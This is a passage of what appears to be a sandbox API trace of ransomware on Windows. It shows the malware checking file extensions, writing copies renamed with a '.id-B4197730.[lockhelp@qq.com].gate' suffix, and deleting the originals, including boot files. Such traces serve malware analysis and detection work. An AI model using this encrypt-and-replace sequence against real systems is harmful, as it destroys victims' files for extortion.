[0318.356] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString=".zip") returned 4 [0318.356] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString=".rar") returned 4 [0318.356] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString=".bz2") returned 4 [0318.356] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString=".7z") returned 3 [0318.356] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString=".dbf") returned 4 [0318.356] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString=".1cd") returned 4 [0318.356] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString=".jpg") returned 4 [0318.356] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.356] lstrlenW (lpString=".doc") returned 4 [0318.357] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString=".docx") returned 5 [0318.357] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0318.357] lstrlenW (lpString=".pdf") returned 4 [0318.357] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString=".xls") returned 4 [0318.357] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString=".xlsx") returned 5 [0318.357] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0318.357] lstrlenW (lpString=".ppt") returned 4 [0318.357] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.357] lstrlenW (lpString=".zip") returned 4 [0318.357] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString=".rar") returned 4 [0318.357] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString=".bz2") returned 4 [0318.357] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString=".7z") returned 3 [0318.357] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0318.357] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.357] lstrlenW (lpString=".dbf") returned 4 [0318.357] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.357] lstrlenW (lpString=".1cd") returned 4 [0318.357] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0318.357] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0318.357] lstrlenW (lpString=".jpg") returned 4 [0318.357] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0318.357] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0318.357] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0318.357] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.358] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=77664) returned 1 [0318.358] CloseHandle (hObject=0x324) returned 1 [0318.358] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0318.358] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.358] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.504] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.504] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.504] lstrlenW (lpString=".doc") returned 4 [0318.504] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.504] lstrlenW (lpString=".docx") returned 5 [0318.504] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.504] lstrlenW (lpString=".pdf") returned 4 [0318.505] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.505] lstrlenW (lpString=".xls") returned 4 [0318.505] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.505] lstrlenW (lpString=".xlsx") returned 5 [0318.505] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.505] lstrlenW (lpString=".ppt") returned 4 [0318.505] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.505] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.505] lstrlenW (lpString=".zip") returned 4 [0318.505] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.505] lstrlenW (lpString=".rar") returned 4 [0318.505] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.505] lstrlenW (lpString=".bz2") returned 4 [0318.505] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.505] lstrlenW (lpString=".7z") returned 3 [0318.505] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.505] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.505] lstrlenW (lpString=".dbf") returned 4 [0318.505] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0318.505] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.505] lstrlenW (lpString=".1cd") returned 4 [0318.505] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0318.505] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.505] lstrlenW (lpString=".jpg") returned 4 [0318.505] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0318.505] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.505] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.505] lstrlenW (lpString=".doc") returned 4 [0318.505] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.505] lstrlenW (lpString=".docx") returned 5 [0318.505] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.505] lstrlenW (lpString=".pdf") returned 4 [0318.506] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.506] lstrlenW (lpString=".xls") returned 4 [0318.506] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.506] lstrlenW (lpString=".xlsx") returned 5 [0318.506] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.506] lstrlenW (lpString=".ppt") returned 4 [0318.506] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.506] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.506] lstrlenW (lpString=".zip") returned 4 [0318.506] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.506] lstrlenW (lpString=".rar") returned 4 [0318.506] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.506] lstrlenW (lpString=".bz2") returned 4 [0318.506] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.506] lstrlenW (lpString=".7z") returned 3 [0318.506] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.506] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.506] lstrlenW (lpString=".dbf") returned 4 [0318.506] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0318.506] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.506] lstrlenW (lpString=".1cd") returned 4 [0318.506] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0318.506] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0318.506] lstrlenW (lpString=".jpg") returned 4 [0318.506] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0318.506] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0318.506] lstrlenW (lpString="memtest.exe.mui") returned 15 [0318.506] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.516] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=45472) returned 1 [0318.516] CloseHandle (hObject=0x348) returned 1 [0318.516] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0318.516] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.517] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.517] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.517] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.517] lstrlenW (lpString=".doc") returned 4 [0318.517] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.517] lstrlenW (lpString=".docx") returned 5 [0318.517] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.517] lstrlenW (lpString=".pdf") returned 4 [0318.517] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.517] lstrlenW (lpString=".xls") returned 4 [0318.517] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.517] lstrlenW (lpString=".xlsx") returned 5 [0318.517] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.517] lstrlenW (lpString=".ppt") returned 4 [0318.517] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.517] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.517] lstrlenW (lpString=".zip") returned 4 [0318.517] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.517] lstrlenW (lpString=".rar") returned 4 [0318.517] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.517] lstrlenW (lpString=".bz2") returned 4 [0318.517] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.517] lstrlenW (lpString=".7z") returned 3 [0318.517] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.517] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.517] lstrlenW (lpString=".dbf") returned 4 [0318.517] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0318.517] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.517] lstrlenW (lpString=".1cd") returned 4 [0318.517] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0318.517] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.517] lstrlenW (lpString=".jpg") returned 4 [0318.517] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0318.518] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.518] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.518] lstrlenW (lpString=".doc") returned 4 [0318.518] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.518] lstrlenW (lpString=".docx") returned 5 [0318.518] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.518] lstrlenW (lpString=".pdf") returned 4 [0318.518] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.518] lstrlenW (lpString=".xls") returned 4 [0318.518] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.518] lstrlenW (lpString=".xlsx") returned 5 [0318.518] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.518] lstrlenW (lpString=".ppt") returned 4 [0318.518] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.518] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.518] lstrlenW (lpString=".zip") returned 4 [0318.518] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.518] lstrlenW (lpString=".rar") returned 4 [0318.518] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.518] lstrlenW (lpString=".bz2") returned 4 [0318.518] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.518] lstrlenW (lpString=".7z") returned 3 [0318.518] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.518] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.518] lstrlenW (lpString=".dbf") returned 4 [0318.518] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0318.518] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.518] lstrlenW (lpString=".1cd") returned 4 [0318.518] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0318.518] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0318.518] lstrlenW (lpString=".jpg") returned 4 [0318.518] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0318.519] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0318.519] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0318.519] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.519] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75616) returned 1 [0318.519] CloseHandle (hObject=0x348) returned 1 [0318.519] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0318.519] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.519] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.519] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0318.519] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0318.519] lstrlenW (lpString=".doc") returned 4 [0318.519] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.519] lstrlenW (lpString=".docx") returned 5 [0318.519] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.519] lstrlenW (lpString=".pdf") returned 4 [0318.519] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.519] lstrlenW (lpString=".xls") returned 4 [0318.519] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.519] lstrlenW (lpString=".xlsx") returned 5 [0318.520] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.520] lstrlenW (lpString=".ppt") returned 4 [0318.520] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.520] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0318.520] lstrlenW (lpString=".zip") returned 4 [0318.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.520] lstrlenW (lpString=".rar") returned 4 [0318.520] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.520] lstrlenW (lpString=".bz2") returned 4 [0318.520] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.520] lstrlenW (lpString=".7z") returned 3 [0318.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.522] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.523] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.524] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.525] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0318.535] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0318.535] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.536] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.536] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0318.537] GetLastError () returned 0x0 [0318.537] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0318.540] WriteFile (in: hFile=0x34c, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0318.541] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.541] WriteFile (in: hFile=0x34c, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.541] SetEndOfFile (hFile=0x34c) returned 1 [0318.542] CloseHandle (hObject=0x34c) returned 1 [0318.542] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.542] SetEndOfFile (hFile=0x348) returned 1 [0318.542] CloseHandle (hObject=0x348) returned 1 [0318.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0318.543] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0318.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.543] lstrlenW (lpString=".doc") returned 4 [0318.543] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0318.543] lstrlenW (lpString=".docx") returned 5 [0318.543] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0318.543] lstrlenW (lpString=".pdf") returned 4 [0318.543] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0318.543] lstrlenW (lpString=".xls") returned 4 [0318.543] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0318.543] lstrlenW (lpString=".xlsx") returned 5 [0318.543] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0318.543] lstrlenW (lpString=".ppt") returned 4 [0318.543] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0318.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.544] lstrlenW (lpString=".zip") returned 4 [0318.544] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0318.544] lstrlenW (lpString=".rar") returned 4 [0318.544] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0318.544] lstrlenW (lpString=".bz2") returned 4 [0318.544] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0318.544] lstrlenW (lpString=".7z") returned 3 [0318.544] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0318.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.544] lstrlenW (lpString=".dbf") returned 4 [0318.544] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0318.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.544] lstrlenW (lpString=".1cd") returned 4 [0318.544] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0318.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.544] lstrlenW (lpString=".jpg") returned 4 [0318.544] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0318.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.544] lstrlenW (lpString=".doc") returned 4 [0318.544] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0318.544] lstrlenW (lpString=".docx") returned 5 [0318.544] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0318.544] lstrlenW (lpString=".pdf") returned 4 [0318.544] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0318.544] lstrlenW (lpString=".xls") returned 4 [0318.544] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0318.544] lstrlenW (lpString=".xlsx") returned 5 [0318.544] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0318.544] lstrlenW (lpString=".ppt") returned 4 [0318.545] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0318.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.545] lstrlenW (lpString=".zip") returned 4 [0318.545] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0318.545] lstrlenW (lpString=".rar") returned 4 [0318.545] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0318.545] lstrlenW (lpString=".bz2") returned 4 [0318.545] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0318.545] lstrlenW (lpString=".7z") returned 3 [0318.545] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0318.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.545] lstrlenW (lpString=".dbf") returned 4 [0318.545] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0318.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.545] lstrlenW (lpString=".1cd") returned 4 [0318.545] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0318.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0318.545] lstrlenW (lpString=".jpg") returned 4 [0318.545] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0318.545] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0318.545] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0318.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.546] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18624) returned 1 [0318.546] CloseHandle (hObject=0x348) returned 1 [0318.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0318.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 